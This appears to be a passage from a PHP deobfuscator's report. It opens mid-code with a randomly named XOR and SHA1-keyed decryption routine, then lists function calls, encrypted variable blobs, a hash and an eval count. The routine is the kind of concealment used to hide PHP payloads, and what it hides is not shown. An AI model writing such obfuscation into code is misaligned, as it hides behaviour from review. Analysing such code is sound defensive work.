trlen($qFHhkiaSEdAGAOEOIrYG)){if(($SKnldQoipHHnynuPvqvV!=0 AND $SKnldQoipHHnynuPvqvV%$hash_length==0)){$STQRMsTVWREcoUSoeMSC=SjDkDAoUXapdmmtqRJtX($STQRMsTVWREcoUSoeMSC.substr($xfpKeeHITMDUkrbrnQjf,$SKnldQoipHHnynuPvqvV-$hash_length,$hash_length));}$xfpKeeHITMDUkrbrnQjf.=chr(ord($STQRMsTVWREcoUSoeMSC[$SKnldQoipHHnynuPvqvV%$hash_length])^ord($qFHhkiaSEdAGAOEOIrYG[$SKnldQoipHHnynuPvqvV]));++$SKnldQoipHHnynuPvqvV;}return $xfpKeeHITMDUkrbrnQjf;}function SjDkDAoUXapdmmtqRJtX($qFHhkiaSEdAGAOEOIrYG){if(function_exists('sha1')){$MMJsmxqLswJgLTtTKMUR=sha1($qFHhkiaSEdAGAOEOIrYG);}else{$MMJsmxqLswJgLTtTKMUR=md5($qFHhkiaSEdAGAOEOIrYG);}$xfpKeeHITMDUkrbrnQjf='';$SKnldQoipHHnynuPvqvV=0;while($SKnldQoipHHnynuPvqvV<strlen($MMJsmxqLswJgLTtTKMUR)){$xfpKeeHITMDUkrbrnQjf.=chr(hexdec($MMJsmxqLswJgLTtTKMUR[$SKnldQoipHHnynuPvqvV].$MMJsmxqLswJgLTtTKMUR[$SKnldQoipHHnynuPvqvV+1]));$SKnldQoipHHnynuPvqvV+=2;}return $xfpKeeHITMDUkrbrnQjf;} ?> 

Function Calls

ob_start 1
str_replace 1

Variables

$HPMAfKMrngVRqfxWfLoS sZ6lJ75jkg9VX40y+6lm/fCBQk9WetAxfFG4X4noaM0pP0Xyc/jag1YZR+Oy..
$KzOrqeasNHVynJNRvaCC None
$LwvNyLHCzpOElAMsbSlq T0dSFlvxjIYV2RV74Az4C5BHK1OooycAmcOm1slu8IQymtsEEz6zn3xr6xpq..
$chtRkSjfoKOKxoJPNYqZ wFWRnfaRfuDnVJdaFYdeiBwUyayOPFpMlotRKpGKthxNxMITcy
$mCfyVzCHBZKpQfdyWpGD B7hdbO10uYPwuIwC1bmtgebxvuLgXCh6L0aT0ywPaf0HL46OZYgmLqaVsRVu..

Stats

MD5 9233148955cd687568546cf20a9ee6ee
Eval Count 0
Decode Time 360 ms